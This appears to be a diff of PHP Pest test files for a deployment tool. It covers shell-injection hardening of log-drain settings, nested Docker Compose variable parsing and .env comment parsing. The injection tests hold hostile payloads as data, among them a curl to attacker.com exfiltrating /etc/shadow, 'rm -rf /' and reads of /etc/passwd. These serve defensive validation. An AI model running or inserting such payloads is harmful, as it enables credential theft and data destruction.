$server->name = 'test-server';
|
||||
$server->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
|
||||
|
||||
// Build the env content the same way StartLogDrain does after the fix
|
||||
$envContent = "AXIOM_DATASET_NAME={$settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$settings->logdrain_axiom_api_key}\n";
|
||||
$envEncoded = base64_encode($envContent);
|
||||
|
||||
// The malicious payload must NOT appear directly in the encoded string
|
||||
// (it's inside the base64 blob, which the shell treats as opaque data)
|
||||
expect($envEncoded)->not->toContain($maliciousPayload);
|
||||
|
||||
// Verify the decoded content preserves the value exactly
|
||||
$decoded = base64_decode($envEncoded);
|
||||
expect($decoded)->toContain("AXIOM_API_KEY={$maliciousPayload}");
|
||||
});
|
||||
|
||||
it('does not interpolate newrelic license key into shell commands', function () {
|
||||
$maliciousPayload = '`rm -rf /`';
|
||||
|
||||
$envContent = "LICENSE_KEY={$maliciousPayload}\nBASE_URI=https://example.com\n";
|
||||
$envEncoded = base64_encode($envContent);
|
||||
|
||||
expect($envEncoded)->not->toContain($maliciousPayload);
|
||||
|
||||
$decoded = base64_decode($envEncoded);
|
||||
expect($decoded)->toContain("LICENSE_KEY={$maliciousPayload}");
|
||||
});
|
||||
|
||||
it('does not interpolate highlight project id into shell commands', function () {
|
||||
$maliciousPayload = '$(curl attacker.com/steal?key=$(cat /etc/shadow))';
|
||||
|
||||
$envContent = "HIGHLIGHT_PROJECT_ID={$maliciousPayload}\n";
|
||||
$envEncoded = base64_encode($envContent);
|
||||
|
||||
expect($envEncoded)->not->toContain($maliciousPayload);
|
||||
});
|
||||
|
||||
it('produces correct env file content for axiom type', function () {
|
||||
$datasetName = 'my-dataset';
|
||||
$apiKey = 'xaat-abc123-def456';
|
||||
|
||||
$envContent = "AXIOM_DATASET_NAME={$datasetName}\nAXIOM_API_KEY={$apiKey}\n";
|
||||
$decoded = base64_decode(base64_encode($envContent));
|
||||
|
||||
expect($decoded)->toBe("AXIOM_DATASET_NAME=my-dataset\nAXIOM_API_KEY=xaat-abc123-def456\n");
|
||||
});
|
||||
|
||||
it('produces correct env file content for newrelic type', function () {
|
||||
$licenseKey = 'nr-license-123';
|
||||
$baseUri = 'https://log-api.newrelic.com/log/v1';
|
||||
|
||||
$envContent = "LICENSE_KEY={$licenseKey}\nBASE_URI={$baseUri}\n";
|
||||
$decoded = base64_decode(base64_encode($envContent));
|
||||
|
||||
expect($decoded)->toBe("LICENSE_KEY=nr-license-123\nBASE_URI=https://log-api.newrelic.com/log/v1\n");
|
||||
});
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Validation layer: reject shell metacharacters
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
it('rejects shell metacharacters in log drain fields', function (string $payload) {
|
||||
// These payloads should NOT match the safe regex pattern
|
||||
$pattern = '/^[a-zA-Z0-9_\-\.]+$/';
|
||||
|
||||
expect(preg_match($pattern, $payload))->toBe(0);
|
||||
})->with([
|
||||
'$(id)',
|
||||
'`id`',
|
||||
'key;rm -rf /',
|
||||
'key|cat /etc/passwd',
|
||||
'key && whoami',
|
||||
'key$(curl evil.com)',
|
||||
"key\nnewline",
|
||||
'key with spaces',
|
||||
'key>file',
|
||||
'key<file',
|
||||
"key'quoted",
|
||||
'key"doublequoted',
|
||||
'key$(id >/tmp/coolify_poc_logdrain)',
|
||||
]);
|
||||
|
||||
it('accepts valid log drain field values', function (string $value) {
|
||||
$pattern = '/^[a-zA-Z0-9_\-\.]+$/';
|
||||
|
||||
expect(preg_match($pattern, $value))->toBe(1);
|
||||
})->with([
|
||||
'xaat-abc123-def456',
|
||||
'my-dataset',
|
||||
'my_dataset',
|
||||
'simple123',
|
||||
'nr-license.key_v2',
|
||||
'project-id-123',
|
||||
]);
|
||||
@@ -0,0 +1,253 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Tests for nested environment variable parsing in Docker Compose files.
|
||||
*
|
||||
* These tests verify that the parser correctly handles nested variable substitution syntax
|
||||
* like ${API_URL:-${SERVICE_URL_YOLO}/api} where defaults can contain other variable references.
|
||||
*/
|
||||
test('nested variable syntax is parsed correctly', function () {
|
||||
// Test the exact scenario from the bug report
|
||||
$input = '${API_URL:-${SERVICE_URL_YOLO}/api}';
|
||||
|
||||
$result = extractBalancedBraceContent($input, 0);
|
||||
|
||||
expect($result)->not->toBeNull()
|
||||
->and($result['content'])->toBe('API_URL:-${SERVICE_URL_YOLO}/api');
|
||||
|
||||
$split = splitOnOperatorOutsideNested($result['content']);
|
||||
|
||||
expect($split)->not->toBeNull()
|
||||
->and($split['variable'])->toBe('API_URL')
|
||||
->and($split['operator'])->toBe(':-')
|
||||
->and($split['default'])->toBe('${SERVICE_URL_YOLO}/api');
|
||||
});
|
||||
|
||||
test('replaceVariables correctly extracts nested variable content', function () {
|
||||
// Before the fix, this would incorrectly extract only up to the first closing brace
|
||||
$result = replaceVariables('${API_URL:-${SERVICE_URL_YOLO}/api}');
|
||||
|
||||
// Should extract the full content, not just "${API_URL:-${SERVICE_URL_YOLO"
|
||||
expect($result->value())->toBe('API_URL:-${SERVICE_URL_YOLO}/api')
|
||||
->and($result->value())->not->toBe('API_URL:-${SERVICE_URL_YOLO'); // Not truncated
|
||||
});
|
||||
|
||||
test('nested defaults with path concatenation work', function () {
|
||||
$input = '${REDIS_URL:-${SERVICE_URL_REDIS}/db/0}';
|
||||
|
||||
$result = extractBalancedBraceContent($input, 0);
|
||||
$split = splitOnOperatorOutsideNested($result['content']);
|
||||
|
||||
expect($split['variable'])->toBe('REDIS_URL')
|
||||
->and($split['default'])->toBe('${SERVICE_URL_REDIS}/db/0');
|
||||
});
|
||||
|
||||
test('deeply nested variables are handled', function () {
|
||||
// Three levels of nesting
|
||||
$input = '${A:-${B:-${C}}}';
|
||||
|
||||
$result = extractBalancedBraceContent($input, 0);
|
||||
|
||||
expect($result['content'])->toBe('A:-${B:-${C}}');
|
||||
|
||||
$split = splitOnOperatorOutsideNested($result['content']);
|
||||
|
||||
expect($split['variable'])->toBe('A')
|
||||
->and($split['default'])->toBe('${B:-${C}}');
|
||||
});
|
||||
|
||||
test('multiple nested variables in default value', function () {
|
||||
// Default value contains multiple variable references
|
||||
$input = '${API:-${SERVICE_URL}:${SERVICE_PORT}/api}';
|
||||
|
||||
$result = extractBalancedBraceContent($input, 0);
|
||||
$split = splitOnOperatorOutsideNested($result['content']);
|
||||
|
||||
expect($split['variable'])->toBe('API')
|
||||
->and($split['default'])->toBe('${SERVICE_URL}:${SERVICE_PORT}/api');
|
||||
});
|
||||
|
||||
test('nested variables with different operators', function () {
|
||||
// Nested variable uses different operator
|
||||
$input = '${API_URL:-${SERVICE_URL?error message}/api}';
|
||||
|
||||
$result = extractBalancedBraceContent($input, 0);
|
||||
$split = splitOnOperatorOutsideNested($result['content']);
|
||||
|
||||
expect($split['variable'])->toBe('API_URL')
|
||||
->and($split['operator'])->toBe(':-')
|
||||
->and($split['default'])->toBe('${SERVICE_URL?error message}/api');
|
||||
});
|
||||
|
||||
test('backward compatibility with simple variables', function () {
|
||||
// Simple variable without nesting should still work
|
||||
$input = '${VAR}';
|
||||
|
||||
$result = replaceVariables($input);
|
||||
|
||||
expect($result->value())->toBe('VAR');
|
||||
});
|
||||
|
||||
test('backward compatibility with single-level defaults', function () {
|
||||
// Single-level default without nesting
|
||||
$input = '${VAR:-default_value}';
|
||||
|
||||
$result = replaceVariables($input);
|
||||
|
||||
expect($result->value())->toBe('VAR:-default_value');
|
||||
|
||||
$split = splitOnOperatorOutsideNested($result->value());
|
||||
|
||||
expect($split['variable'])->toBe('VAR')
|
||||
->and($split['default'])->toBe('default_value');
|
||||
});
|
||||
|
||||
test('backward compatibility with dash operator', function () {
|
||||
$input = '${VAR-default}';
|
||||
|
||||
$result = replaceVariables($input);
|
||||
$split = splitOnOperatorOutsideNested($result->value());
|
||||
|
||||
expect($split['operator'])->toBe('-');
|
||||
});
|
||||
|
||||
test('backward compatibility with colon question operator', function () {
|
||||
$input = '${VAR:?error message}';
|
||||
|
||||
$result = replaceVariables($input);
|
||||
$split = splitOnOperatorOutsideNested($result->value());
|
||||
|
||||
expect($split['operator'])->toBe(':?')
|
||||
->and($split['default'])->toBe('error message');
|
||||
});
|
||||
|
||||
test('backward compatibility with question operator', function () {
|
||||
$input = '${VAR?error}';
|
||||
|
||||
$result = replaceVariables($input);
|
||||
$split = splitOnOperatorOutsideNested($result->value());
|
||||
|
||||
expect($split['operator'])->toBe('?')
|
||||
->and($split['default'])->toBe('error');
|
||||
});
|
||||
|
||||
test('SERVICE_URL magic variables in nested defaults', function () {
|
||||
// Real-world scenario: SERVICE_URL_* magic variable used in nested default
|
||||
$input = '${DATABASE_URL:-${SERVICE_URL_POSTGRES}/mydb}';
|
||||
|
||||
$result = extractBalancedBraceContent($input, 0);
|
||||
$split = splitOnOperatorOutsideNested($result['content']);
|
||||
|
||||
expect($split['variable'])->toBe('DATABASE_URL')
|
||||
->and($split['default'])->toBe('${SERVICE_URL_POSTGRES}/mydb');
|
||||
|
||||
// Extract the nested SERVICE_URL variable
|
||||
$nestedResult = extractBalancedBraceContent($split['default'], 0);
|
||||
|
||||
expect($nestedResult['content'])->toBe('SERVICE_URL_POSTGRES');
|
||||
});
|
||||
|
||||
test('SERVICE_FQDN magic variables in nested defaults', function () {
|
||||
$input = '${API_HOST:-${SERVICE_FQDN_API}}';
|
||||
|
||||
$result = extractBalancedBraceContent($input, 0);
|
||||
$split = splitOnOperatorOutsideNested($result['content']);
|
||||
|
||||
expect($split['default'])->toBe('${SERVICE_FQDN_API}');
|
||||
|
||||
$nestedResult = extractBalancedBraceContent($split['default'], 0);
|
||||
|
||||
expect($nestedResult['content'])->toBe('SERVICE_FQDN_API');
|
||||
});
|
||||
|
||||
test('complex real-world example', function () {
|
||||
// Complex real-world scenario from the bug report
|
||||
$input = '${API_URL:-${SERVICE_URL_YOLO}/api}';
|
||||
|
||||
// Step 1: Extract outer variable content
|
||||
$result = extractBalancedBraceContent($input, 0);
|
||||
expect($result['content'])->toBe('API_URL:-${SERVICE_URL_YOLO}/api');
|
||||
|
||||
// Step 2: Split on operator
|
||||
$split = splitOnOperatorOutsideNested($result['content']);
|
||||
expect($split['variable'])->toBe('API_URL');
|
||||
expect($split['operator'])->toBe(':-');
|
||||
expect($split['default'])->toBe('${SERVICE_URL_YOLO}/api');
|
||||
|
||||
// Step 3: Extract nested variable
|
||||
$nestedResult = extractBalancedBraceContent($split['default'], 0);
|
||||
expect($nestedResult['content'])->toBe('SERVICE_URL_YOLO');
|
||||
|
||||
// This verifies that:
|
||||
// 1. API_URL should be created with value "${SERVICE_URL_YOLO}/api"
|
||||
// 2. SERVICE_URL_YOLO should be recognized and created as magic variable
|
||||
});
|
||||
|
||||
test('empty nested default values', function () {
|
||||
$input = '${VAR:-${NESTED:-}}';
|
||||
|
||||
$result = extractBalancedBraceContent($input, 0);
|
||||
$split = splitOnOperatorOutsideNested($result['content']);
|
||||
|
||||
expect($split['default'])->toBe('${NESTED:-}');
|
||||
|
||||
$nestedResult = extractBalancedBraceContent($split['default'], 0);
|
||||
$nestedSplit = splitOnOperatorOutsideNested($nestedResult['content']);
|
||||
|
||||
expect($nestedSplit['default'])->toBe('');
|
||||
});
|
||||
|
||||
test('nested variables with complex paths', function () {
|
||||
$input = '${CONFIG_URL:-${SERVICE_URL_CONFIG}/v2/config.json}';
|
||||
|
||||
$result = extractBalancedBraceContent($input, 0);
|
||||
$split = splitOnOperatorOutsideNested($result['content']);
|
||||
|
||||
expect($split['default'])->toBe('${SERVICE_URL_CONFIG}/v2/config.json');
|
||||
});
|
||||
|
||||
test('replaceVariables strips leading dollar sign from bare $VAR format', function () {
|
||||
// Bug #8851: When a compose value is $SERVICE_USER_POSTGRES (bare $VAR, no braces),
|
||||
// replaceVariables must strip the $ so the parsed name is SERVICE_USER_POSTGRES.
|
||||
// Without this, the fallback code path creates a DB entry with key=$SERVICE_USER_POSTGRES.
|
||||
expect(replaceVariables('$SERVICE_USER_POSTGRES')->value())->toBe('SERVICE_USER_POSTGRES')
|
||||
->and(replaceVariables('$SERVICE_PASSWORD_POSTGRES')->value())->toBe('SERVICE_PASSWORD_POSTGRES')
|
||||
->and(replaceVariables('$SERVICE_FQDN_APPWRITE')->value())->toBe('SERVICE_FQDN_APPWRITE');
|
||||
});
|
||||
|
||||
test('bare dollar variable in bash-style fallback does not capture trailing brace', function () {
|
||||
// Bug #8851: ${_APP_DOMAIN:-$SERVICE_FQDN_APPWRITE} causes the regex to
|
||||
// capture "SERVICE_FQDN_APPWRITE}" (with trailing }) because \}? in the regex
|
||||
// greedily matches the closing brace of the outer ${...} construct.
|
||||
// The fix uses capture group 2 (clean variable name) instead of group 1.
|
||||
$value = '${_APP_DOMAIN:-$SERVICE_FQDN_APPWRITE}';
|
||||
|
||||
$regex = '/\$(\{?([a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*)\}?)/';
|
||||
preg_match_all($regex, $value, $valueMatches);
|
||||
|
||||
// Group 2 should contain clean variable names without any braces
|
||||
expect($valueMatches[2])->toContain('_APP_DOMAIN')
|
||||
->and($valueMatches[2])->toContain('SERVICE_FQDN_APPWRITE');
|
||||
|
||||
// Verify no match in group 2 has trailing }
|
||||
foreach ($valueMatches[2] as $match) {
|
||||
expect($match)->not->toEndWith('}', "Variable name '{$match}' should not end with }");
|
||||
}
|
||||
|
||||
// Group 1 (previously used) would have the bug — SERVICE_FQDN_APPWRITE}
|
||||
// This demonstrates why group 2 must be used instead
|
||||
expect($valueMatches[1])->toContain('SERVICE_FQDN_APPWRITE}');
|
||||
});
|
||||
|
||||
test('operator precedence with nesting', function () {
|
||||
// The first :- at depth 0 should be used, not the one inside nested braces
|
||||
$input = '${A:-${B:-default}}';
|
||||
|
||||
$result = extractBalancedBraceContent($input, 0);
|
||||
$split = splitOnOperatorOutsideNested($result['content']);
|
||||
|
||||
// Should split on first :- (at depth 0)
|
||||
expect($split['variable'])->toBe('A')
|
||||
->and($split['operator'])->toBe(':-')
|
||||
->and($split['default'])->toBe('${B:-default}'); // Not split here
|
||||
});
|
||||
@@ -0,0 +1,207 @@
|
||||
<?php
|
||||
|
||||
use function PHPUnit\Framework\assertNotNull;
|
||||
use function PHPUnit\Framework\assertNull;
|
||||
|
||||
test('extractBalancedBraceContent extracts content from simple variable', function () {
|
||||
$result = extractBalancedBraceContent('${VAR}', 0);
|
||||
|
||||
assertNotNull($result);
|
||||
expect($result['content'])->toBe('VAR')
|
||||
->and($result['start'])->toBe(1)
|
||||
->and($result['end'])->toBe(5);
|
||||
});
|
||||
|
||||
test('extractBalancedBraceContent handles nested braces', function () {
|
||||
$result = extractBalancedBraceContent('${API_URL:-${SERVICE_URL_YOLO}/api}', 0);
|
||||
|
||||
assertNotNull($result);
|
||||
expect($result['content'])->toBe('API_URL:-${SERVICE_URL_YOLO}/api')
|
||||
->and($result['start'])->toBe(1)
|
||||
->and($result['end'])->toBe(34); // Position of closing }
|
||||
});
|
||||
|
||||
test('extractBalancedBraceContent handles triple nesting', function () {
|
||||
$result = extractBalancedBraceContent('${A:-${B:-${C}}}', 0);
|
||||
|
||||
assertNotNull($result);
|
||||
expect($result['content'])->toBe('A:-${B:-${C}}');
|
||||
});
|
||||
|
||||
test('extractBalancedBraceContent returns null for unbalanced braces', function () {
|
||||
$result = extractBalancedBraceContent('${VAR', 0);
|
||||
|
||||
assertNull($result);
|
||||
});
|
||||
|
||||
test('extractBalancedBraceContent returns null when no braces', function () {
|
||||
$result = extractBalancedBraceContent('VAR', 0);
|
||||
|
||||
assertNull($result);
|
||||
});
|
||||
|
||||
test('extractBalancedBraceContent handles startPos parameter', function () {
|
||||
$result = extractBalancedBraceContent('foo ${VAR} bar', 4);
|
||||
|
||||
assertNotNull($result);
|
||||
expect($result['content'])->toBe('VAR')
|
||||
->and($result['start'])->toBe(5)
|
||||
->and($result['end'])->toBe(9);
|
||||
});
|
||||
|
||||
test('splitOnOperatorOutsideNested splits on :- operator', function () {
|
||||
$split = splitOnOperatorOutsideNested('API_URL:-default_value');
|
||||
|
||||
assertNotNull($split);
|
||||
expect($split['variable'])->toBe('API_URL')
|
||||
->and($split['operator'])->toBe(':-')
|
||||
->and($split['default'])->toBe('default_value');
|
||||
});
|
||||
|
||||
test('splitOnOperatorOutsideNested handles nested defaults', function () {
|
||||
$split = splitOnOperatorOutsideNested('API_URL:-${SERVICE_URL_YOLO}/api');
|
||||
|
||||
assertNotNull($split);
|
||||
expect($split['variable'])->toBe('API_URL')
|
||||
->and($split['operator'])->toBe(':-')
|
||||
->and($split['default'])->toBe('${SERVICE_URL_YOLO}/api');
|
||||
});
|
||||
|
||||
test('splitOnOperatorOutsideNested handles dash operator', function () {
|
||||
$split = splitOnOperatorOutsideNested('VAR-default');
|
||||
|
||||
assertNotNull($split);
|
||||
expect($split['variable'])->toBe('VAR')
|
||||
->and($split['operator'])->toBe('-')
|
||||
->and($split['default'])->toBe('default');
|
||||
});
|
||||
|
||||
test('splitOnOperatorOutsideNested handles colon question operator', function () {
|
||||
$split = splitOnOperatorOutsideNested('VAR:?error message');
|
||||
|
||||
assertNotNull($split);
|
||||
expect($split['variable'])->toBe('VAR')
|
||||
->and($split['operator'])->toBe(':?')
|
||||
->and($split['default'])->toBe('error message');
|
||||
});
|
||||
|
||||
test('splitOnOperatorOutsideNested handles question operator', function () {
|
||||
$split = splitOnOperatorOutsideNested('VAR?error');
|
||||
|
||||
assertNotNull($split);
|
||||
expect($split['variable'])->toBe('VAR')
|
||||
->and($split['operator'])->toBe('?')
|
||||
->and($split['default'])->toBe('error');
|
||||
});
|
||||
|
||||
test('splitOnOperatorOutsideNested returns null for simple variable', function () {
|
||||
$split = splitOnOperatorOutsideNested('SIMPLE_VAR');
|
||||
|
||||
assertNull($split);
|
||||
});
|
||||
|
||||
test('splitOnOperatorOutsideNested ignores operators inside nested braces', function () {
|
||||
$split = splitOnOperatorOutsideNested('A:-${B:-default}');
|
||||
|
||||
assertNotNull($split);
|
||||
// Should split on first :- (outside nested braces), not the one inside ${B:-default}
|
||||
expect($split['variable'])->toBe('A')
|
||||
->and($split['operator'])->toBe(':-')
|
||||
->and($split['default'])->toBe('${B:-default}');
|
||||
});
|
||||
|
||||
test('replaceVariables handles simple variable', function () {
|
||||
$result = replaceVariables('${VAR}');
|
||||
|
||||
expect($result->value())->toBe('VAR');
|
||||
});
|
||||
|
||||
test('replaceVariables handles nested expressions', function () {
|
||||
$result = replaceVariables('${API_URL:-${SERVICE_URL_YOLO}/api}');
|
||||
|
||||
expect($result->value())->toBe('API_URL:-${SERVICE_URL_YOLO}/api');
|
||||
});
|
||||
|
||||
test('replaceVariables handles variable with default', function () {
|
||||
$result = replaceVariables('${API_URL:-http://localhost}');
|
||||
|
||||
expect($result->value())->toBe('API_URL:-http://localhost');
|
||||
});
|
||||
|
||||
test('replaceVariables returns unchanged for non-variable string', function () {
|
||||
$result = replaceVariables('not_a_variable');
|
||||
|
||||
expect($result->value())->toBe('not_a_variable');
|
||||
});
|
||||
|
||||
test('replaceVariables handles triple nesting', function () {
|
||||
$result = replaceVariables('${A:-${B:-${C}}}');
|
||||
|
||||
expect($result->value())->toBe('A:-${B:-${C}}');
|
||||
});
|
||||
|
||||
test('replaceVariables fallback works for malformed input', function () {
|
||||
// When braces are unbalanced, it falls back to old behavior
|
||||
$result = replaceVariables('${VAR');
|
||||
|
||||
// Old behavior would extract everything before first }
|
||||
// But since there's no }, it will extract 'VAR' (removing ${)
|
||||
expect($result->value())->toContain('VAR');
|
||||
});
|
||||
|
||||
test('extractBalancedBraceContent handles complex nested expression', function () {
|
||||
$result = extractBalancedBraceContent('${API:-${SERVICE_URL}/api/v${VERSION:-1}}', 0);
|
||||
|
||||
assertNotNull($result);
|
||||
expect($result['content'])->toBe('API:-${SERVICE_URL}/api/v${VERSION:-1}');
|
||||
});
|
||||
|
||||
test('splitOnOperatorOutsideNested handles complex nested expression', function () {
|
||||
$split = splitOnOperatorOutsideNested('API:-${SERVICE_URL}/api/v${VERSION:-1}');
|
||||
|
||||
assertNotNull($split);
|
||||
expect($split['variable'])->toBe('API')
|
||||
->and($split['operator'])->toBe(':-')
|
||||
->and($split['default'])->toBe('${SERVICE_URL}/api/v${VERSION:-1}');
|
||||
});
|
||||
|
||||
test('extractBalancedBraceContent finds second variable in string', function () {
|
||||
$str = '${VAR1} and ${VAR2}';
|
||||
|
||||
// First variable
|
||||
$result1 = extractBalancedBraceContent($str, 0);
|
||||
assertNotNull($result1);
|
||||
expect($result1['content'])->toBe('VAR1');
|
||||
|
||||
// Second variable
|
||||
$result2 = extractBalancedBraceContent($str, $result1['end'] + 1);
|
||||
assertNotNull($result2);
|
||||
expect($result2['content'])->toBe('VAR2');
|
||||
});
|
||||
|
||||
test('replaceVariables handles empty default value', function () {
|
||||
$result = replaceVariables('${VAR:-}');
|
||||
|
||||
expect($result->value())->toBe('VAR:-');
|
||||
});
|
||||
|
||||
test('splitOnOperatorOutsideNested handles empty default value', function () {
|
||||
$split = splitOnOperatorOutsideNested('VAR:-');
|
||||
|
||||
assertNotNull($split);
|
||||
expect($split['variable'])->toBe('VAR')
|
||||
->and($split['operator'])->toBe(':-')
|
||||
->and($split['default'])->toBe('');
|
||||
});
|
||||
|
||||
test('replaceVariables handles brace format without dollar sign', function () {
|
||||
// This format is used by the regex capture group in magic variable detection
|
||||
$result = replaceVariables('{SERVICE_URL_YOLO}');
|
||||
expect($result->value())->toBe('SERVICE_URL_YOLO');
|
||||
});
|
||||
|
||||
test('replaceVariables handles truncated brace format', function () {
|
||||
// When regex captures {VAR from a larger expression, no closing brace
|
||||
$result = replaceVariables('{API_URL');
|
||||
expect($result->value())->toBe('API_URL');
|
||||
});
|
||||
@@ -0,0 +1,248 @@
|
||||
<?php
|
||||
|
||||
test('parseEnvFormatToArray parses simple KEY=VALUE pairs', function () {
|
||||
$input = "KEY1=value1\nKEY2=value2";
|
||||
$result = parseEnvFormatToArray($input);
|
||||
|
||||
expect($result)->toBe([
|
||||
'KEY1' => ['value' => 'value1', 'comment' => null],
|
||||
'KEY2' => ['value' => 'value2', 'comment' => null],
|
||||
]);
|
||||
});
|
||||
|
||||
test('parseEnvFormatToArray strips inline comments from unquoted values', function () {
|
||||
$input = "NIXPACKS_NODE_VERSION=22 #needed for now\nNODE_VERSION=22";
|
||||
$result = parseEnvFormatToArray($input);
|
||||
|
||||
expect($result)->toBe([
|
||||
'NIXPACKS_NODE_VERSION' => ['value' => '22', 'comment' => 'needed for now'],
|
||||
'NODE_VERSION' => ['value' => '22', 'comment' => null],
|
||||
]);
|
||||
});
|
||||
|
||||
test('parseEnvFormatToArray strips inline comments only when preceded by whitespace', function () {
|
||||
$input = "KEY1=value1#nocomment\nKEY2=value2 #comment\nKEY3=value3 # comment with spaces";
|
||||
$result = parseEnvFormatToArray($input);
|
||||
|
||||
expect($result)->toBe([
|
||||
'KEY1' => ['value' => 'value1#nocomment', 'comment' => null],
|
||||
'KEY2' => ['value' => 'value2', 'comment' => 'comment'],
|
||||
'KEY3' => ['value' => 'value3', 'comment' => 'comment with spaces'],
|
||||
]);
|
||||
});
|
||||
|
||||
test('parseEnvFormatToArray preserves # in quoted values', function () {
|
||||
$input = "KEY1=\"value with # hash\"\nKEY2='another # hash'";
|
||||
$result = parseEnvFormatToArray($input);
|
||||
|
||||
expect($result)->toBe([
|
||||
'KEY1' => ['value' => 'value with # hash', 'comment' => null],
|
||||
'KEY2' => ['value' => 'another # hash', 'comment' => null],
|
||||
]);
|
||||
});
|
||||
|
||||
test('parseEnvFormatToArray handles quoted values correctly', function () {
|
||||
$input = "KEY1=\"quoted value\"\nKEY2='single quoted'";
|
||||
$result = parseEnvFormatToArray($input);
|
||||
|
||||
expect($result)->toBe([
|
||||
'KEY1' => ['value' => 'quoted value', 'comment' => null],
|
||||
'KEY2' => ['value' => 'single quoted', 'comment' => null],
|
||||
]);
|
||||
});
|
||||
|
||||
test('parseEnvFormatToArray skips comment lines', function () {
|
||||
$input = "# This is a comment\nKEY1=value1\n# Another comment\nKEY2=value2";
|
||||
$result = parseEnvFormatToArray($input);
|
||||
|
||||
expect($result)->toBe([
|
||||
'KEY1' => ['value' => 'value1', 'comment' => null],
|
||||
'KEY2' => ['value' => 'value2', 'comment' => null],
|
||||
]);
|
||||
});
|
||||
|
||||
test('parseEnvFormatToArray skips empty lines', function () {
|
||||
$input = "KEY1=value1\n\nKEY2=value2\n\n";
|
||||
$result = parseEnvFormatToArray($input);
|
||||
|
||||
expect($result)->toBe([
|
||||
'KEY1' => ['value' => 'value1', 'comment' => null],
|
||||
'KEY2' => ['value' => 'value2', 'comment' => null],
|
||||
]);
|
||||
});
|
||||
|
||||
test('parseEnvFormatToArray handles values with equals signs', function () {
|
||||
$input = 'KEY1=value=with=equals';
|
||||
$result = parseEnvFormatToArray($input);
|
||||
|
||||
expect($result)->toBe([
|
||||
'KEY1' => ['value' => 'value=with=equals', 'comment' => null],
|
||||
]);
|
||||
});
|
||||
|
||||
test('parseEnvFormatToArray handles empty values', function () {
|
||||
$input = "KEY1=\nKEY2=value";
|
||||
$result = parseEnvFormatToArray($input);
|
||||
|
||||
expect($result)->toBe([
|
||||
'KEY1' => ['value' => '', 'comment' => null],
|
||||
'KEY2' => ['value' => 'value', 'comment' => null],
|
||||
]);
|
||||
});
|
||||
|
||||
test('parseEnvFormatToArray handles complex real-world example', function () {
|
||||
$input = <<<'ENV'
|
||||
# Database Configuration
|
||||
DB_HOST=localhost
|
||||
DB_PORT=5432 #default postgres port
|
||||
DB_NAME="my_database"
|
||||
DB_PASSWORD='p@ssw0rd#123'
|
||||
|
||||
# API Keys
|
||||
API_KEY=abc123 # Production key
|
||||
SECRET_KEY=xyz789
|
||||
ENV;
|
||||
|
||||
$result = parseEnvFormatToArray($input);
|
||||
|
||||
expect($result)->toBe([
|
||||
'DB_HOST' => ['value' => 'localhost', 'comment' => null],
|
||||
'DB_PORT' => ['value' => '5432', 'comment' => 'default postgres port'],
|
||||
'DB_NAME' => ['value' => 'my_database', 'comment' => null],
|
||||
'DB_PASSWORD' => ['value' => 'p@ssw0rd#123', 'comment' => null],
|
||||
'API_KEY' => ['value' => 'abc123', 'comment' => 'Production key'],
|
||||
'SECRET_KEY' => ['value' => 'xyz789', 'comment' => null],
|
||||
]);
|
||||
});
|
||||
|
||||
test('parseEnvFormatToArray handles the original bug scenario', function () {
|
||||
$input = "NIXPACKS_NODE_VERSION=22 #needed for now\nNODE_VERSION=22";
|
||||
$result = parseEnvFormatToArray($input);
|
||||
|
||||
// The value should be "22", not "22 #needed for now"
|
||||
expect($result['NIXPACKS_NODE_VERSION']['value'])->toBe('22');
|
||||
expect($result['NIXPACKS_NODE_VERSION']['value'])->not->toContain('#');
|
||||
expect($result['NIXPACKS_NODE_VERSION']['value'])->not->toContain('needed');
|
||||
// And the comment should be extracted
|
||||
expect($result['NIXPACKS_NODE_VERSION']['comment'])->toBe('needed for now');
|
||||
});
|
||||
|
||||
test('parseEnvFormatToArray handles quoted strings with spaces before hash', function () {
|
||||
$input = "KEY1=\"value with spaces\" #comment\nKEY2=\"another value\"";
|
||||
$result = parseEnvFormatToArray($input);
|
||||
|
||||
expect($result)->toBe([
|
||||
'KEY1' => ['value' => 'value with spaces', 'comment' => 'comment'],
|
||||
'KEY2' => ['value' => 'another value', 'comment' => null],
|
||||
]);
|
||||
});
|
||||
|
||||
test('parseEnvFormatToArray handles unquoted values with multiple hash symbols', function () {
|
||||
$input = "KEY1=value1#not#comment\nKEY2=value2 # comment # with # hashes";
|
||||
$result = parseEnvFormatToArray($input);
|
||||
|
||||
// KEY1: no space before #, so entire value is kept
|
||||
// KEY2: space before first #, so everything from first space+# is stripped
|
||||
expect($result)->toBe([
|
||||
'KEY1' => ['value' => 'value1#not#comment', 'comment' => null],
|
||||
'KEY2' => ['value' => 'value2', 'comment' => 'comment # with # hashes'],
|
||||
]);
|
||||
});
|
||||
|
||||
test('parseEnvFormatToArray handles quoted values containing hash symbols at various positions', function () {
|
||||
$input = "KEY1=\"#starts with hash\"\nKEY2=\"hash # in middle\"\nKEY3=\"ends with hash#\"";
|
||||
$result = parseEnvFormatToArray($input);
|
||||
|
||||
expect($result)->toBe([
|
||||
'KEY1' => ['value' => '#starts with hash', 'comment' => null],
|
||||
'KEY2' => ['value' => 'hash # in middle', 'comment' => null],
|
||||
'KEY3' => ['value' => 'ends with hash#', 'comment' => null],
|
||||
]);
|
||||
});
|
||||
|
||||
test('parseEnvFormatToArray trims whitespace before comments', function () {
|
||||
$input = "KEY1=value1 #comment\nKEY2=value2\t#comment with tab";
|
||||
$result = parseEnvFormatToArray($input);
|
||||
|
||||
expect($result)->toBe([
|
||||
'KEY1' => ['value' => 'value1', 'comment' => 'comment'],
|
||||
'KEY2' => ['value' => 'value2', 'comment' => 'comment with tab'],
|
||||
]);
|
||||
// Values should not have trailing spaces
|
||||
expect($result['KEY1']['value'])->not->toEndWith(' ');
|
||||
expect($result['KEY2']['value'])->not->toEndWith("\t");
|
||||
});
|
||||
|
||||
test('parseEnvFormatToArray preserves hash in passwords without spaces', function () {
|
||||
$input = "PASSWORD=pass#word123\nAPI_KEY=abc#def#ghi";
|
||||
$result = parseEnvFormatToArray($input);
|
||||
|
||||
expect($result)->toBe([
|
||||
'PASSWORD' => ['value' => 'pass#word123', 'comment' => null],
|
||||
'API_KEY' => ['value' => 'abc#def#ghi', 'comment' => null],
|
||||
]);
|
||||
});
|
||||
|
||||
test('parseEnvFormatToArray strips comments with space before hash', function () {
|
||||
$input = "PASSWORD=passw0rd #this is secure\nNODE_VERSION=22 #needed for now";
|
||||
